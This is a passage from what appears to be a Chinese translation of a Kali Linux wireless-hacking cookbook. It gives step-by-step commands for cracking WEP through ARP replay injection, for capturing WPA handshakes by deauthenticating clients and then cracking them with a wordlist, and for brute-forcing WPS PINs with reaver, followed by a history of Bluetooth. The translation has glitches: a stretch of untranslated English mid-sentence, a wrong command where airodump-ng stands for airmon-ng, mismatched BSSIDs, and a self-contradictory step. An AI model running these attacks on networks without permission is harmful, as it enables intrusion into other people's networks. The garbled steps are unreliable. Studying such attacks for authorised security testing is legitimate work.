为了破解运行该协议的接入点的 WEP 密钥,需要一个过程,其中需要收集所谓的初始化向量IVs)。这个过程的问题在于,在正常情况下,网络在短时间内不会生成大量的这些项目。在正常情况下,这意味着我们需要等待很长时间才能获得足够的 IVs 来检索网络密钥。然而,我们可以通过利用前面教程中的信息以及一些新技能来加快这个过程,以检索密钥。简而言之,我们将试图向网络注入数据包,以促使接入点在较短的时间内生成大量数据包,从而增加捕获具有弱 IVs 的数据包的能力。

完成这个过程后,我们可以使用捕获的流量来检索密钥。

简而言之,在这个教程中,我们将要学习的步骤是:

  1. 在特定的 AP 频道上启动无线接口的监视模式。

  2. 测试无线设备对接入点的注入能力。

  3. 使用aireplay-ng与接入点进行虚假认证。

  4. 在 AP 频道上使用bssid过滤器启动airodump-ng以收集新的唯一 IVs。

  5. 使用aireplay-ng以 ARP 请求重放模式注入数据包。

  6. 运行aircrack-ng使用收集的 IVs 来破解密钥。

我们打破 WEP 的第一步是像之前一样将我们的卡切换到监视模式。在大多数情况下,安装在你的系统中的卡,如果你的系统配备了内置无线网络适配器,将很容易地能够切换到监视模式。如果不行,那么你可以随时选择第三方适配器,比如 USB 适配器或直接安装到系统中以支持这种功能的适配器卡。我们需要这种模式来允许网络接口检测附近网络发送的每个数据包,而不与这些网络关联。要在名为wlan0的网络接口上执行此操作:

  1. airodump-ng start wlan0 99将锁定卡监听频道9,但这可以更改为你想要观察的接入点的频道。你可以通过在没有频道指示符的情况下运行命令来发现你想要定位的接入点的频道)。

  2. Enter键。

记住的一个重要细节是,大多数无线网络往往在1611中的一个频道上运行。原因是这是在这个范围内唯一不完全重叠的三个频道,因此如果你使用其中一个,干扰的风险会降低。你可以使用这里没有指定的其他频道,但可能会遇到一定程度的干扰,可能会比你想要的更高。在这个示例中,我只使用了频道9。当你扫描你所在区域的目标时,检查你想要使用的目标的频道,并使用该频道。

一旦卡响应说它处于监视模式,我们现在可以继续下一步,即准备好对目标网络执行数据包注入。所以,验证你在屏幕上收到的任何提示是否验证了你确实已经切换到了指定频道的监视模式,然后你可以继续。如果你没有得到一个表明你已经切换到监视模式的响应,那么请重试命令,看看也许你输入了错误的东西或者你遇到了其他问题。

我们的下一步是确保我们处于一个可以正确执行我们对目标网络的数据包注入的情况。所以我们要验证我们是否足够接近或者信号足够强,能够执行这个数据包注入并得到我们想要的结果。幸运的是,我们有一个旨在帮助我们应对这种情况并确保我们在需要的位置的工具:

aireplay-ng -9 -e ganon -a 00:28:6C:E4:40:80 wlan0

-e ganon是无线网络的名称,-a 00:28:6C:E4:40:80是接入点的 MAC 地址。

系统应该会响应一个等待信标帧的提示,很快它也应该会响应说注入过程正在进行,并且它已经找到了你定义的接入点。如果你没有得到这个响应以及指示频道、速度甚至功率的信息,那么你可以尝试靠近你的目标或改变位置,甚至考虑使用天线或不同的适配器来获得更好的信号。

理想情况下,此时你应该得到的响应应该表明你接收到了接入点或目标网络近乎 100%的信号。如果你得到任何表明你接收到的信号少于 100%的东西,这不一定是坏事,但当你下降到 90%,然后 80%,然后 70%以下时,你会得到一个不太可靠的信号,这可能会影响这次攻击成功的机会。不要总是期望得到 100%的信号或响应,但你希望得到尽可能接近的东西。较小的值可能会成功,你不一定要让一个较低的值阻止你尝试攻击,但要意识到你可能会得到不太理想的结果。

现在,通过上述步骤,我们可以继续进行实际捕获初始化向量或 IVs 的步骤。如果您还记得这次攻击的介绍,这是确保相同密钥不会一次又一次地在流量中重复使用的关键项目。我们还了解到,初始化向量的短长度导致在高容量网络上的流量可能在仅传输了 5000 个数据包后就重复使用相同的密钥。因此,我们需要准备好捕获这些流量。

为了做到这一点,您将打开第二个控制台会话。因此,在 Kali 界面中打开第二个控制台会话来运行以下命令(不要关闭第一个控制台):

airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w output wlan0 

“-bssid 00:14:6C:7E:40:80”是接入点的 MAC 地址。这可以消除多余的流量。-w捕获是包含 IVs 的文件的文件名前缀。

一旦执行了这个命令,您将开始看到流量被捕获——尽管与我们接下来要做的生成更多流量的步骤相比,速度非常慢。请记住,WEP 在生成 5,000 个数据包后有超过 50%的机会重用密钥。因此,我们想要制造一种情况,即在很短的时间内生成大量数据包。如果您只是等待并观察屏幕上生成的内容,就像您现在所处的阶段一样,您会看到数据包或信息的数量以渐进且不稳定的速度增加。

理论上,您可以以网络的正常速度收集流量,但请记住,如果我们必须生成或收集数千个数据包才能成功增加我们的成功机会,您可能需要等待一段时间。网络越不活跃,您 passively sitting by and in a short period of time collected enough trafficking to be able to recover the key. In fact, it is possible you could find yourself waiting and listening for two or three days just for enough traffic to successfully recover the key. That can be a little challenging and also dramatically increases your chances of being detected.

现在我们将对接入点执行身份验证。我们需要这样做是因为我们将要向无线网络注入数据包,为了能够做到这一点,我们需要创建一个身份验证。如果我们没有经过身份验证和关联网络,那么我们会遇到一个情况,我们的连接尝试将被直接拒绝并失败。我们正在进行的是伪身份验证,并尝试连接到网络。我们这样做的方式是通过获取已成功关联到该无线网络的客户端的 MAC 地址。

为了将客户端与接入点关联,我们将使用伪身份验证:

 aireplay-ng -1 0 -e ganon -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 wlan0 

-1 means fake authentication 
0 reassociation timing in seconds 
-e ganon is the wireless network name 
-a 00:14:6C:7E:40:80 is the access point MAC address 
-h 00:0F:B5:88:AC:82 is our card MAC address 

或者对于挑剔的接入点的另一种变体:

aireplay-ng -1 6000 -o 1 -q 10 -e ganon -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 wlan0 

6000 - Reauthenticate every 6000 seconds. The long period also causes keep alive packets to be sent. 
-o 1 - Send only one set of packets at a time. Default is multiple and this confuses some APs. 
-q 10 - Send keep alive packets every 10 seconds. 

如果一切顺利,您应该会收到一条消息,表示您已成功关联。如果没有,您将收到一条消息,指示您未能成功关联到无线网络,那么您需要在那时再次尝试,但通常情况下,如果您遵循这里的步骤,您应该更有可能关联到您的目标。如果您通过欺骗受害者的 MAC 地址成功关联和身份验证到无线网络,那么您将无法继续进行下一步。

现在让我们进入决定性时刻,我们将生成或诱导我们的目标网络生成流量,以便恢复密钥。这个过程的工作原理是使用一种称为 ARP 请求或广播的东西。我们试图做的是发送一个 ARP 请求,就像任何正常的网络客户端一样。然而,当这个广播寻找客户端时,访问点会按设计原理将其重新广播到网络中,每次我们发送一个广播时都会这样。因此,它会产生大量流量,这些流量又被 WEP 密钥加密和保护。由于我们将监听和捕获这些流量到一个文件,如果一切顺利,我们将记录使用密钥的大量流量(如果我们有耐心),并且我们可以对其进行破解或恢复操作。

要执行注入,我们需要打开另一个控制台并输入:

 aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 wlan0 

它将开始监听 ARP 请求,当它听到一个请求时,aireplay-ng将立即开始注入它。

您可以通过检查您的airodump-ng屏幕来确认您正在注入。数据包应该在迅速增加。#/s应该是一个相当不错的数字。然而,“相当不错”取决于许多因素。典型范围是每秒 300 到 400 个数据包。它可能低至每秒 100 个,高至每秒 500 个。

现在我们已经将流量捕获到一个.cap文件中,我们现在将尝试从捕获的数据包中检索密钥。为此,我们执行以下操作:

打开另一个新的控制台会话并输入:

 aircrack-ng -b 00:14:6C:7E:40:80 output*.cap 

-b 00:14:6C:7E:40:80 selects the one access point we are interested in.  

*.cap selects all files starting with "output" and ending in ".cap". 

您可以在生成数据包的同时运行此操作。在短时间内,WEP 密钥将被计算并呈现。对于 64 位密钥,您大约需要 250,000 个 IV,对于 128 位密钥,您需要 1,500,000 个 IV。请注意,这些值只是粗略指导,其他变量可能会影响您实际需要收集多少流量和 IV。

如果过程成功完成,您应该会看到类似以下的内容:

请注意,密钥不会像您期望的那样显示。在Key Found旁边的字符,方括号之间,是十六进制的通行证。如果您删除冒号,然后将剩余的字符粘贴到无线客户端提示与网络关联时,它仍然可以工作。

WPA 和 WPA2 攻击

我们的下一个攻击目标是一种称为 WPA 或 Wi-Fi 保护访问的技术。正如我们在之前的教程中所看到的,WEP 有很多缺点和漏洞,可以很简单地利用这些漏洞来访问并暴露使用该协议保护的网络上的信息。由于 WEP 的漏洞和问题,人们寻求了一种替代方案,而 WPA 就是一个立即可用的替代方案。WPA 旨在成为 WEP 的更新或升级,可以严格通过无线网络卡和能够支持新标准的无线访问点的固件升级来实现。当引入这项新技术时,它解决了 WEP 带来的许多问题,并让系统管理员和消费者稍微放心了一些。

需要注意的是,虽然大多数无线网卡可以通过简单的固件更新来包含 WPA 的新功能和能力,但并非每个无线网卡都可以通过固件升级来支持新技术。在某些情况下,无线网络卡必须直接更换,以便利用新技术。另一方面,用于锚定无线网络的接入点需要进行比标准固件更新更广泛的升级和工作。因此,大多数在 2003 年之前可用的接入点无法升级以支持 WPA,这意味着用户必须替换这些接入点而不是升级它们。在大多数情况下,这是因为旧硬件没有足够的处理能力来支持新标准中看到的更强大的要求。

WPA 建立在一个称为 IEEE 802.11i 的标准上。该标准定义了许多内容,其中并非所有内容都会立即在 WPA 中实施;一些内容需要等待更新的 WPA2 标准协议才能实施。然而,从这个标准中,我们看到了所谓的暂时密钥完整性协议(TKIP)的实施。这项技术旨在取代 WEP 使用的 64 位或 128 位密钥。通过这种新协议,密钥会动态地基于每个数据包生成,每个数据包都有一个新的 128 位密钥,这意味着我们在 WEP 中看到的攻击在 WPA 中不再可能。以下图片显示了 WPA 的过程:

WPA 的过程

WPA 还更新和简化了 WEP 中存在的完整性检查。WPA 使用所谓的消息完整性检查,旨在执行与先前技术相同的目的,这意味着它旨在阻止攻击者更改或重新发送数据包,即所谓的数据重放攻击。替换旧 CRC 协议的原因是,旧协议实际上并不足以保护所有类型的数据完整性检查和重放攻击。因此,决定应该在 WPA 中实施新的消息完整性检查,这实际上在许多形式上已经使用了一段时间。值得一提的是,一些旧的网络卡和接入点无法升级到新的 WPA 协议的原因之一是,消息完整性检查实际上比 WEP 中使用的旧 CRC 检查更需要计算能力。

需要注意的是,自从实施了带有消息完整性检查的更新的 WPA 协议以来,发现了与该技术相关的一些缺陷。同样重要的是,总体上在 WPA 中使用的加密技术也被发现存在缺陷。然而,同样重要的是,尽管 WPA 存在缺陷,但它们并不像 WEP 中存在的那些缺陷那样引人注目和明显。然而,归根结底,如果有升级到 WPA2 的选项,应该选择这个选项,而不是停留在 WPA 甚至 WEP 上。

WPA 协议中有一些与认证相关的术语,你应该知道:

  • WPA 个人:这种认证机制,也称为 WPA-PSK,主要针对不需要或没有集中认证系统的家庭和小型办公网络。在这种设置中,每个无线设备将从共享的 256 位密钥派生出独特的 128 位加密密钥。这个密钥将分别输入到接入点和连接到这个接入点或无线网络的每个个体客户端中。这个密钥可以按照需要以 64 个十六进制数字或 8 至 63 个字符的密码短语输入。

  • WPA 企业:这是一种有时也被称为 WPA-802.1x 的认证模式。这种设置适用于企业级网络,并依赖于存在并可以配置支持这种部署的集中式认证服务器或系统的事实。在企业级网络中,预期会存在一个集中式认证系统,因为它非常适合这些环境。它也有一个缺点,就是比 WPA 个人有着更复杂的设置,然而,通过这种额外的设置和复杂性,我们也得到了与共享密钥系统相比更多的安全性的好处。以下图片展示了 WPA 企业认证过程的概念:

WPA 企业过程

  • Wi-Fi 保护设置:这项技术,也称为 WPS,是另一种已经在 WPA 和 WPA2 中实施的认证机制。它旨在用于消费者希望简化与密钥相关的配置过程的情况。使用这项技术,消费者可以简单地在访问点和他们的无线设备上点击几个按钮(如果支持 WPS),设备将执行握手类型的操作并交换密钥,以允许与无线网络的通信进行。这项技术的好处是方便,但也有开放无线网络环境中的一个重大漏洞。因为这是我们在关于 Wi-Fi 时的一个重要关注点,我们将在本章的后续配方中介绍这项技术以及如何打败它。

准备工作

为了开始,你需要准备好以下物品:

  • 一个能够进入监视模式的无线网卡。

  • Kali Linux

  • 第二个有线或无线适配器连接到互联网。

如何做...

在这个特定的配方中,我们将通过一些步骤来破解使用弱密码短语的 WPA:

  1. 打开一个终端窗口,找到无线适配器的名称。很可能这个适配器的名称会是wlan0之类的东西。你应该使用ifconfigiwconfig来查找。

  2. 现在我们使用airmon-ng在步骤一中注意到的接口上启用监视模式:

airmon-ng start wlan0 

对于一些无线网卡,当你尝试在它们上启用监视模式时,你可能会收到一个错误消息。如果发生这种情况,使用airmon-ngcheck kill 命令。

  1. 接下来,使用以下命令查看目标接入点的列表以及连接到这些接入点的客户端:
 airodump-ng wlan0 
  1. 现在,保持这个终端打开,因为它将帮助我们知道我们的攻击是否成功。我们将为以下步骤打开一个新的终端窗口。

  2. 现在,在下一步中,我们将尝试从被攻击的无线网络中捕获空中数据包:

 airodump-ng -c channel -bssid [bssid of wifi] -w [path to 
    write the data of packets]   wlan0mon[interface]. 
  1. 接下来,我们想要取消连接到 Wi-Fi 的连接的客户端:
 aireplay-ng -deauth 10 -a [router bssid] interface 

在上述命令中,给出客户端 MAC 地址是可选的;它由-c <client mac>给出。

将客户端从网络中踢出,以便客户端再次尝试连接 Wi-Fi。在那时,我们将捕获从客户端发送的数据包。从这个结果,我们将得到一个 WPA 握手。

现在我们应该开始破解 Wi-Fi。用于捕获数据包的命令是:

 aircrack-ng -b [bssid of router] -w [path to word list] 
    [path to capture packets] 

-w是单词列表的路径。在我的情况下,它是/root/Desktop/wordlist.txt

如果你没有单词列表,你可以通过下载一个或使用 Kali Linux 内置的一个来获得一个。

现在按Enteraircrack将开始破解 Wi-Fi 并找到一个密钥。

攻击 WPS

本章中我们下一个攻击的目标是被称为 WPS 或 Wi-Fi 保护设置的技术。这项技术在十多年前被引入,旨在简化客户端连接到无线网络的配置。这些功能实际上是针对消费者和那些没有 IT 背景的人,或者那些有 IT 背景但只是希望购买一台计算机或其他设备,按几个按钮就能连接到无线网络的人。如果我们只考虑这种能力或功能,那么 WPS 实际上已经相当有效地完成了它的工作。然而,存在安全风险,这就是为什么我们在这个特定的教程中谈论它并学习如何利用它的原因。但在我们深入讨论之前,让我们再深入了解一下 WPS 的机制,以便更好地准备这个教程。

只有当路由器和 Wi-Fi 客户端都支持该技术时,WPS 才能起作用。在讨论 WPS 时,还要记住的一点是,尽管 Wi-Fi 联盟已经尽最大努力确保 WPS 在各个供应商及其各自的设备上都是标准化的,但也有一些情况是两个不同供应商的设备上的技术不兼容。然而,重要的是要记住,现代设备不仅包括接入点,还包括智能手机、平板电脑和笔记本电脑,以及支持这一功能的操作系统,几乎没有互操作性问题。

为了讨论 WPS,让我们首先设想一个场景,在这个场景中我们希望使用 WPS。想象一下一个网络,它在个人配置中使用 WPA 或 WPA2,而不是企业配置。在这种情况下,我们会在接入点中输入一个密钥,然后与希望连接到该接入点的任何客户端分享,以便他们可以进行身份验证并加密其流量。正如我们在之前的教程中讨论的那样,如果您想使用这种设置,或者在您的环境中已经设置了这种设置,这意味着您在接入点上输入的密钥现在必须手动传输到每个客户端,然后他们就能连接到无线网络并进行业务。这就是 WPS 试图解决的场景。WPS 技术试图简化这个过程,以便通过简单按下一个按钮来配置密钥。

要记住的一点是,WPS 不适用于已废弃的技术,只适用于 WPA 或其后继者。具体来说,这意味着 WPS 在任何情况下都不会与 WEP 一起使用,因此如果您的路由器不支持比 WEP 更新的任何功能,它就不会具有这个功能。如果您的路由器支持 WPA 或其后继者,但是在 WPS 刚刚被引入的时期就推出,那么它也可能不支持 WPS。这些路由器可能仍然存在,或者存在于您的环境中。

在这种设置中,试图共享密钥的用户需要执行一些任务才能输入密钥。首先,他们将进入接入点,并根据所选择的协议的规则输入密钥。然后他们将去每个设备,并打开他们的无线客户端,并选择他们希望连接的无线网络;在这种情况下,是他们用密钥配置的那个。一旦他们通过点击选择了网络,客户端将发送一个请求连接到无线网络,然后无线网络将发出一个挑战,并提示用户输入密钥,然后用户将输入密钥。对于那些技术不熟练或稍微不适应这个过程的人来说,问题很多。最大的问题之一是他们可能输入错误的密钥,必须重新进行整个过程,无疑,他们会检查接入点以确保他们实际上得到了正确的密钥,这将导致一些人感到沮丧和冗长的配置过程。

根据 Wi-Fi 联盟提出的规范,WPS 以多种不同的方式工作。让我们来看看一些可以使用的方法。

  • 我们可以使用 WPS 的第一种方法是简单地按下路由器上的 WPS 按钮,这将启动新设备的发现。在这一点上,您将转到您的设备,然后从您的无线客户端中选择您希望连接到的网络。在这一点上,设备将自动连接到无线网络,而无需输入密码或密钥。下面的照片显示了路由器上的 WPS 按钮:

路由器上的 WPS 按钮。

  • 下一种方法是当您有无线设备,如打印机或范围扩展器,它们有自己的 WPS 按钮,用于快速连接到这些设备。当您需要将这些设备连接到无线网络时,您将按下路由器上的 WPS 按钮,然后按下您希望连接到无线网络的每个设备上的 WPS 按钮。在这个过程中,您不需要输入任何数据或其他内容,因为设备将自行完成握手并进行信息通信。一旦过程完成,除非您更改密码或以某种方式重新配置网络,否则您将不必再使用 WPS,因为设备将自行记住 WPS 凭据。下面的图像显示了一个带有 WPS 按钮的 Wi-Fi 范围扩展器。

带有 WPS 的 Wi-Fi 范围扩展器

  • 使用 WPS 的另一种方法是通过使用八位数的 PIN 码。任何具有或使用 WPS 的路由器都将自动生成并且用户无法更改的 PIN 码。这个 PIN 码通常在手册的配置页面上或路由器本身上,并且应该被记录下来。在某些情况下,仍然具有 WPS 支持的 WPS 按钮设备将要求输入 PIN 码,因此记录这一信息非常重要。在这些情况下,当您尝试连接到无线网络时,系统将提示您输入代码,当您输入代码后,设备将连接到无线网络并执行交换适当的密钥的过程。

  • 最后,还有一种方法可以使用,也是使用八位数的 PIN 码在 WPS 配置过程中验证客户端。对于没有 WPS 按钮但是支持 WPS 的设备,将生成一个特定的客户端 PIN 码。在这种情况下,您将把这个 PIN 码输入到路由器的无线配置选项中。路由器将使用它来识别正在添加的设备,然后将其添加到网络并像以前一样交换密钥。

就性能而言,列表中的前两种方法非常迅速,最具吸引力,更有可能受到不熟悉技术的消费者的青睐。最后两种方法最慢,最后一种选项是所有四种可用选项中最慢的,因为在设备中的任何过程得到验证之前,需要登录路由器并进行一些配置。还值得注意的是,并不需要供应商在其技术中实现 WPS 来实现所有四种方法。他们可以选择启用这些方法中的任何一种。

作为对这次讨论的一个注解,可能会遇到另一种与路由器同步或共享 WPS PIN 码的方法。这种方法使用 NFC 或近场通信。在这种情况下,希望连接到无线网络的客户端将拿起他们的平板电脑或智能手机,在路由器上挥动一下,路由器将读取代码并允许设备与网络同步。所使用的方法类似于您使用 Apple Pay 或 Android Pay 等技术时使用的技术,只需在收银台上挥动设备,付款就完成了。

几乎所有现代路由器都支持 WPS,因为这是绝大多数无线网络的核心组件,特别是在家庭或小型企业等消费者空间。由于这些是核心组件,支持这种网络安全标准是必不可少的。在许多路由器上,您甚至会发现 WPS 技术默认启用,并且在路由器上电并加入网络后即可使用。在某些情况下,您必须通过直接进入无线路由器并使用界面中的选项来手动启用 WPS,但在大多数情况下,您必须手动关闭该功能,因为通常默认情况下是开启的。

关于路由器中 WPS 支持的一个小注解是,许多路由器不仅启用了 WPS 支持,而且要想关闭它几乎是不可能的,除非非常困难。在一些路由器上,您可能需要禁用路由器上可用的其他功能,才能仅仅禁用 WPS 本身。例如,在一些无线接入点上,您可能需要禁用主要无线网络,而选择访客网络作为您的主要网络。在其他无线网络中,如果关闭网络的 SSID 广播等操作,访问点将允许启用 WPS。然而,在后一种情况下,这可能不是您想要做的事情。如果选择这样做,始终查看您的接入点以了解如何禁用 WPS。

就操作系统中的 WPS 支持而言,几乎所有操作系统都几乎普遍支持和包含该功能。在微软的情况下,自 2007 年以来,Windows WPS 在每个操作系统发布版本中都得到支持,基本上从 Windows Vista 开始。在安卓方面,自 2011 年以来,安卓 4.0 冰淇淋三明治版本就完全支持 WPS。自那个版本以来,每个安卓版本都完全支持 WPS。在诸如 Linux 之类的操作系统中,几乎所有版本都支持 WPS,但也有一些版本由于开发人员的原因而不支持或被禁用,但总体上在大多数情况下操作系统中都支持该功能。这让我们来看看苹果家族的操作系统,无论是他们的计算机还是使用 iOS 的任何设备,在这种情况下,我们没有 WPS 的本地支持;它只能通过第三方的附加组件或其他增强功能来使用。

以下截图显示了 Windows 7 中的 WPS 对话框:

Windows 7 中的 WPS 对话框

现在我们知道了 WPS 是什么,让我们讨论一下它的问题,然后再进入专门设计来打败这项技术的具体方法。WPS 标准存在一些问题,我们将看看这些问题对我们作为评估这项技术的人意味着什么:

  • WPS 的一个最大问题是,如果有人可以物理接触路由器,他们可以简单地把路由器翻过来拍照;在许多情况下,路由器上的标签上会有一个代码,允许对 WPA2 密码进行覆盖。以下图表显示了一个带有标签的路由器:

包括 PIN 码的标签

  • 在许多路由器中,WPS 协议的使用不能轻易地被禁用,如果你将来不打算使用它,你无法采取基本的安全措施来关闭它。

  • 另一个大问题是 WPS 的实现方式,由于协议交换了一个八位字符的 PIN 码,并且它的存储方式存在一些问题。不去深究所有的细节,基本上这个八位数字的 PIN 码被分成两个四位数字块,它们在客户端和接入点之间进行交换。由于这个代码在客户端和接入点之间的检查方式,没有一个强大的系统来验证这个代码。由于这个代码被分成两个块以及之后这个过程的行为方式,攻击者可以很容易地使用软件来猜测正确的 PIN 码。事实上,为了简化事情并且远离整个过程的数学,由于 PIN 码的验证方式,我们发现有可能只用 5500 次猜测就能得到正确的代码,这对现代计算机来说很容易。在 Kali 中,我们发现有软件可以让我们很快、高效地进行 11,000 次猜测,而我们几乎不需要付出努力。

如果你是一个正在计算这个问题并试图弄清楚可能的 PIN 码组合数量的人,你可能得到的数字比这个文本中所述的要大得多。事实上,如果你考虑到 PIN 码只允许在 PIN 码的八个槽中使用零到九这些数字,你可能会得出大约 1 亿个可能的代码组合。然而,事实并非如此。

首先,我们甚至没有八位数字的 PIN 码,因为最后一位数字被用作校验和或验证代码是否已正确传输且没有缺陷。所以我们只剩下七位数字。然而,问题在于,尽管七位数字不被视为一个连续的数字;实际上它被分成两部分。Wi-Fi 设备将发送路由器前四位数字进行验证,然后单独发送最后三位进行验证。如果我们在这个级别进行计算,我们会发现四位数字有 1 万种不同的组合,而三位数字有 1,000 种不同的组合;如果我们把这两个数字加在一起,我们有 11,000 种可能的代码组合。如果我们再多做一点数学和使用一点逻辑,我们会发现更有可能的是攻击者可能需要猜测大约一半的代码,然后才能成功解决问题。这就是我们得到前面提到的 5,500 次猜测的原因。然而,如果我们想要进行穷举搜索所有可能的代码,这将是 11,000 种不同的组合,这仍然不是任何现代计算机无法克服的重大任务。

准备工作

为了开始工作,你需要准备以下物品:

  • 能够进入监视模式的无线网卡

  • Kali Linux

这里列出的项目是基本要求,如果需要,您可以轻松地使用更多(或不同的)组件。例如,如果您想要增强范围,您可以使用一个带有外部天线连接的基于 USB 的无线网卡,这样可以获得更好的接收效果。

如何做...

在这个特定的步骤中,我们将通过一些步骤来破解使用弱密码的 WPA。

我们对 WPS 发动攻击的方式是使用一个熟悉的命令airmon-ng

airmon-ng start wlan0 

再次将我们的卡置于监视模式以侦测该地区的无线网络。我们可以像对待 WEP 和 WPA/WPA2 一样跟进这个命令,使用airodump-ng,但我们将转而使用reaver套件并使用其内置命令。在这种情况下,我们将发出以下命令:

wash -i mon0 

这个命令是专门用来寻找使用 WPA 的网络的。运行命令后,您会得到类似以下的输出:

wash 命令的结果

结果应该能够找到该地区的网络。显示的网络将包括周围的所有内容。其中可能有一些是易受攻击的。在结果中,您会注意到一个 WPS 锁定列;这远非一个确定的指标,但一般来说,您会发现列为未锁定的 AP 更有可能受到我们尝试的暴力攻击。您仍然可以尝试对 WPS 锁定的网络发动攻击,但成功的机会会大大减少。

一旦找到要对其发动攻击的网络,操作reaver非常简单。基本命令只需要指定本地接口、信道和 ESSID。

例如,对 mordred 网络发动reaver的命令将如下所示:

reaver -i mon0 -c 6 -b 00:23:69:48:33:95 -vv 

上述命令中唯一可能不太明显的部分是-vv;这将启用详细输出,这在尝试评估reaver的功能时非常有帮助。

一旦启动了reaver,您会开始看到类似这样的输出:

这个输出显示 WPS PIN 已成功地针对目标进行了尝试(这里我们看到1234567000005678正在被测试),并且reaver正常运行。

这个过程可能需要很长的时间,但您会看到反馈告诉您攻击正在进行并且正常运行。可能会减慢攻击的是许多供应商一直在尝试实施防御 WPS 攻击的保护措施,可能需要额外的选项来推动攻击。

幸运的是,reaver会自动保留一个进度日志文件,因此您可以随时停止攻击并在方便的时候恢复。每天花几个小时运行reaver对同一个网络进行攻击,应该能够找到它的 PIN 码,从而找到 WPA 密码。

第七章:蓝牙攻击

在这一章中,我们将涵盖以下食谱:

  • 蓝牙的简史

  • 蓝牙的运作

  • 蓝牙的漏洞

  • 选择蓝牙硬件

  • 蓝牙干扰

  • 蓝牙劫持

  • 蓝牙技术

介绍

蓝牙是另一种流行且广泛使用的无线技术,已经有超过十年的历史了。它在我们使用的技术方面存在许多方面。然而,虽然我们许多人确实使用蓝牙设备和技术,但可能存在一些关于蓝牙具体是什么、它的设计目的以及它的工作原理的困惑或缺乏清晰度。由于攻击和破坏蓝牙和蓝牙设备在很大程度上取决于对技术工作原理的深入了解,因此我们实际上有必要了解一些关于技术背景以及技术是如何设计和实施的,以及它是如何产生的。出于这种精神,我们将从蓝牙的历史开始,了解它是如何应对它设计面临的挑战的。接下来将进行技术讨论,讨论蓝牙中存在的一些可以被利用的漏洞。因此,让我们从讨论蓝牙技术的历史和演变开始,然后再深入了解整个过程的机制。

蓝牙的简史

蓝牙技术最初是由瑞典电信公司爱立信发明和提出的。蓝牙的最初概念始于 1989 年,当时该公司的一群工程师决定或被要求提出一种能够在个人电脑和耳机之间传输和启用通信的短距离无线电技术。正是这种通过短距离无线电链接连接设备的核心概念推动了技术的发展,使其能够连接不仅仅是耳机和个人电脑,而是后来的各种类型的设备,就像我们今天看到的那样。

在 90 年代,随着个人数据助手或 PDA 等便携式技术的发展,人们构想了蓝牙的新概念和实现。使用这些早期 PDA 设备的技术爱好者,比如 Palm Pilot 的用户,希望能够连接到周围可用的不同设备。这些人希望能够使用短距离技术,走进一个房间并连接到打印机、扫描仪或其他服务和设备。正是因为这种愿望和动力,蓝牙很快被视为解决这个问题的方案。

那么蓝牙这个名字实际上是从哪里来的呢?好吧,万一你是那些之前没听过这个故事的人之一,让我简要地回忆一下。蓝牙这个名字是对 10 世纪丹麦国王哈拉尔德·布拉特兰的英语化翻译。这位国王因两个非常重要的特点而闻名 - 或者至少对我们来说很重要。首先,他以统一丹麦和挪威各族人民而闻名。其次,他因蓝牙而得到绰号,根据传说,他要么有一颗明显的坏牙,看起来是蓝色的,要么他的牙齿因大量食用蓝莓而染成了蓝色。后者是否属实很难说,但事实是蓝牙现在被用作这项技术的名称。原因是,就像国王一样,蓝牙技术被用来统一许多不同的技术,并允许它们使用一个标准规范进行交流和互操作。这意味着无论您的设备来自哪个供应商或其他来源,只要它遵守蓝牙标准,它就可以与另一个供应商的设备进行通信,几乎没有问题。

另一个有趣的注脚;蓝牙标志是国王哈拉尔德的姓名首字母的组合。以下图表显示了蓝牙标志是如何衍生出来的:

蓝牙标志的创作

当蓝牙首次亮相时,可以说是竞争对手的主要技术是红外线技术。红外线技术允许,或者应该允许,打印机和扫描仪等设备能够在短距离内无线通信。在 90 年代,红外线技术是笔记本电脑和打印机等设备的一个相当常见的附加功能。因此,如果蓝牙是新兴标准,而红外线已经存在于市场上,为什么红外线不再普遍存在,为什么没有蓝牙技术的替代品呢?嗯,这有一个答案,但有点复杂。与红外线等其他技术不同,蓝牙允许最多八个设备通过短距离无线电技术同时配对并形成一个网络来交换信息。事实上,在某些领域,蓝牙被称为个人区域网络技术,或 PAN。在这种设置中,每个配对的设备本质上都作为这个小型网络环境中的自己的节点。当然,为了实现这种互操作性,所有这些设备不仅必须具备蓝牙功能,而且它们必须使用标准化的通信协议,这就是蓝牙在这个方程中提供的。以下图表是 PAN 的概念:

展示 PAN

讨论蓝牙时有趣的一点是,当它首次亮相时,蓝牙确实存在一些问题,就像任何新技术都会有的。在蓝牙的情况下,许多不同的供应商都迅速采用了蓝牙的想法,并赶紧将其实施到自己的产品线中并将这些产品推向市场。然而,这种匆忙也存在潜在的负面影响,在早期的蓝牙设备中表现得相当严重。在匆忙将蓝牙实施到他们自己的设备中时,制造商遇到了一个问题,即不同的蓝牙设备无法相互通信,即使它们被标记为蓝牙兼容。事实上,一些早期的蓝牙设备不仅无法与不同供应商的设备通信,甚至无法与同一供应商制造的设备通信。这带来了一些非常严重的问题;可以想象,消费者购买了声称与蓝牙兼容的设备,实际上它们各自实施了自己的蓝牙形式,与其他设备不兼容,消费者肯定不会满意。造成这种情况的主要原因是,当供应商匆忙将蓝牙技术实施到他们的产品中时,例如耳机,蓝牙标准尚未完全制定和商定,因此供应商不得不填补空白或调整他们认为应该的方式,并将结果标记为蓝牙。自那时起,技术已经得到了显著发展,困扰技术的早期问题已经消失,来自不同供应商的蓝牙设备现在可以快速而轻松地进行通信。

就技术而言,蓝牙标准与本书其余部分涉及的 Wi-Fi 技术有很多共同之处,但并非完全相同。最重要的一点是,就像 Wi-Fi 技术一样,蓝牙并不局限于任何一种产品或环境。蓝牙是一种通信标准,任何人都可以像使用 Wi-Fi 一样在任何技术中实现的。此外,蓝牙规范由蓝牙特别兴趣小组控制,这是一个负责保持标准更新以及控制和处理技术和商标许可的委员会,这些商标将被实施蓝牙的各种供应商使用。就像 Wi-Fi 一样,蓝牙也有许多标准;例如,在蓝牙 4.2 中,更新了功能集,使蓝牙在操作时消耗更少的电力,传输数据更快,并且比以前的版本提供了更好的安全性。蓝牙在过去几年中也发展,包括支持与人们在家中看到的新一代智能设备进行通信的能力,例如灯泡、开关、摄像头甚至恒温器。以下图表显示了蓝牙和智能家居背后的一些概念:

蓝牙生态系统。

